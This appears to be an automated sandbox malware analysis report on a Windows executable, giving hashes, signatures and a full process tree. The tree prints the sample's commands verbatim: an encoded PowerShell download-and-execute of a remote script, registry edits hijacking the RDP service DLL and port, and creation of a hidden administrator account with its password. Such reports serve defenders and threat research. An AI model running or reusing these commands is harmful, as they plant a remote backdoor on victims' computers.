Analysis

  • max time kernel
    49s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    20-07-2021 09:16

General

  • Target

    exe1.bin.exe

  • Size

    4.6MB

  • MD5

    eaee663dfeb2efcd9ec669f5622858e2

  • SHA1

    2b96f0d568128240d0c53b2a191467fde440fd93

  • SHA256

    6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2

  • SHA512

    211951f053ddecc6e0545a83119112d6ad375e226437d6a26ed493b362e51da3718131d59fb045c9b2feea91e04d3b82e9be4e52a46fe2e84ed4f3b4ed2213b3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\exe1.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\exe1.bin.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2416
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0oh2zeve\0oh2zeve.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2824
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF4.tmp" "c:\Users\Admin\AppData\Local\Temp\0oh2zeve\CSC73CAA211EA44F09634A317902A77D0.TMP"
          4⤵
            PID:1428
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2008
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4224
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:4660
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:4680
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:4700
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4876
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:4896
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4928
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4944
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4960
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:4980
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5000
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5016
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5032
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:5052
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:4248
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:2348
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1920
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4136
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:4156
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc a8OeqOZ0 /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4176
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc a8OeqOZ0 /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1428
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc a8OeqOZ0 /add
                          3⤵
                            PID:2164
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2344
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2348
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:4232
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4324
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4416
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:4432
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4452
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4492
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:4364
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc a8OeqOZ0
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4328
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc a8OeqOZ0
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4520
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc a8OeqOZ0
                                  3⤵
                                    PID:4256
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4536
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:4576
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:4264
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                        PID:2128
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      1⤵
                                        PID:4640
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          2⤵
                                            PID:4684
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4704

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • memory/2008-250-0x0000019829CB6000-0x0000019829CB8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2008-215-0x0000019829CB3000-0x0000019829CB5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2008-251-0x0000019829CB8000-0x0000019829CBA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2008-214-0x0000019829CB0000-0x0000019829CB2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2416-144-0x000001C26B3E0000-0x000001C26B3E1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2416-152-0x000001C26B438000-0x000001C26B439000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2416-153-0x000001C26C900000-0x000001C26C901000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2416-129-0x000001C26BF60000-0x000001C26BF61000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2416-151-0x000001C26C570000-0x000001C26C571000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2416-131-0x000001C26B430000-0x000001C26B432000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2416-146-0x000001C26B436000-0x000001C26B438000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2416-134-0x000001C26B433000-0x000001C26B435000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2416-125-0x000001C26B3B0000-0x000001C26B3B1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3872-171-0x0000014EE2433000-0x0000014EE2435000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3872-212-0x0000014EE2438000-0x0000014EE243A000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3872-194-0x0000014EE2436000-0x0000014EE2438000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3872-170-0x0000014EE2430000-0x0000014EE2432000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3968-114-0x0000014EDF9E0000-0x0000014EDFC8A000-memory.dmp

                                          Filesize

                                          2.7MB

                                        • memory/3968-117-0x0000014EDF723000-0x0000014EDF725000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3968-116-0x0000014EDF720000-0x0000014EDF722000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3968-118-0x0000014EDF725000-0x0000014EDF726000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3968-119-0x0000014EDF726000-0x0000014EDF727000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/4224-287-0x0000016AF2910000-0x0000016AF2912000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4224-291-0x0000016AF2918000-0x0000016AF291A000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4224-290-0x0000016AF2916000-0x0000016AF2918000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4224-289-0x0000016AF2913000-0x0000016AF2915000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4704-395-0x000001515DCC8000-0x000001515DCC9000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/4704-382-0x000001515DCC0000-0x000001515DCC2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4704-384-0x000001515DCC3000-0x000001515DCC5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4704-394-0x000001515DCC6000-0x000001515DCC8000-memory.dmp

                                          Filesize

                                          8KB